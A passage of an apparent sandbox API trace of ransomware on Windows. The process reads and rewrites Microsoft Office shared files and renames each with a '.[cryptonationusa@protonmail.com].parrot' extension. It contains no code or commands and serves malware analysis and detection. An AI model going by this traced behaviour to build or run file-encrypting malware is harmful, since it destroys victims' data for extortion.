SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.398] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x49f80, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x49f80, lpOverlapped=0x0) returned 1 [0120.410] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.425] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.425] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68b510 | out: hHeap=0x5b0000) returned 1 [0120.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0120.429] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.429] ReadFile (in: hFile=0x260, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0120.431] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.431] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x44780, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x44780, lpOverlapped=0x0) returned 1 [0120.444] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.458] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68b510 | out: hHeap=0x5b0000) returned 1 [0120.459] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.459] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0120.574] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.575] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0120.576] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.576] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0120.654] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.654] WriteFile (in: hFile=0x27c, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18ebe4*=0x118, lpOverlapped=0x0) returned 1 [0120.655] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.655] WriteFile (in: hFile=0x27c, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0120.657] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x19a517, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0120.657] CloseHandle (hObject=0x27c) returned 1 [0120.658] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.659] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68bd38 | out: hHeap=0x5b0000) returned 1 [0120.659] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.659] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0120.665] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.665] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0120.667] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.667] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd980, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd980, lpOverlapped=0x0) returned 1 [0120.672] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.673] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.674] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69aac8 | out: hHeap=0x5b0000) returned 1 [0120.674] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.674] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0120.676] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.676] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0120.678] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.678] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0120.716] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.716] WriteFile (in: hFile=0x27c, lpBuffer=0x643228*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x643228*, lpNumberOfBytesWritten=0x18ebe4*=0x118, lpOverlapped=0x0) returned 1 [0120.717] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.717] WriteFile (in: hFile=0x27c, lpBuffer=0x2f10040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2f10040*, lpNumberOfBytesWritten=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0120.719] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x153098, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0120.719] CloseHandle (hObject=0x27c) returned 1 [0120.720] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.720] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69aac8 | out: hHeap=0x5b0000) returned 1 [0120.721] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.721] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f10020 | out: hHeap=0x5b0000) returned 1 [0120.728] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.728] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0120.729] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.729] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x795, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x795, lpOverlapped=0x0) returned 1 [0120.730] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.730] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.731] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68bd38 | out: hHeap=0x5b0000) returned 1 [0120.731] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.731] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0120.739] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.739] ReadFile (in: hFile=0x260, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0120.741] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.741] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a5b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1a5b, lpOverlapped=0x0) returned 1 [0120.742] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.742] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68bf08 | out: hHeap=0x5b0000) returned 1 [0120.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.744] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x690250 | out: hHeap=0x5b0000) returned 1 [0120.751] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.751] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0120.754] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.754] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x545, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x545, lpOverlapped=0x0) returned 1 [0120.754] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.757] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645f98 | out: hHeap=0x5b0000) returned 1 [0120.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0120.759] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.759] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0120.761] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.761] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x333, lpOverlapped=0x0) returned 1 [0120.761] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.761] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645f98 | out: hHeap=0x5b0000) returned 1 [0120.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0120.764] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.764] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0120.766] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.766] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa40, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xa40, lpOverlapped=0x0) returned 1 [0120.766] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.766] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.767] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0120.767] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.767] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0120.769] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.769] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0120.770] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.770] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x61d, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x61d, lpOverlapped=0x0) returned 1 [0120.771] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.771] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645f98 | out: hHeap=0x5b0000) returned 1 [0120.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.771] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0120.774] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.774] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0120.776] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.776] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8f8, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x8f8, lpOverlapped=0x0) returned 1 [0120.776] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.776] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176070 | out: hHeap=0x5b0000) returned 1 [0120.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0120.779] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.779] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0120.781] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.781] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x391, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x391, lpOverlapped=0x0) returned 1 [0120.781] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.781] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0120.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645f98 | out: hHeap=0x5b0000) returned 1 [0120.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0120.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0120.785] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0120.785] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0120.787] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.787] 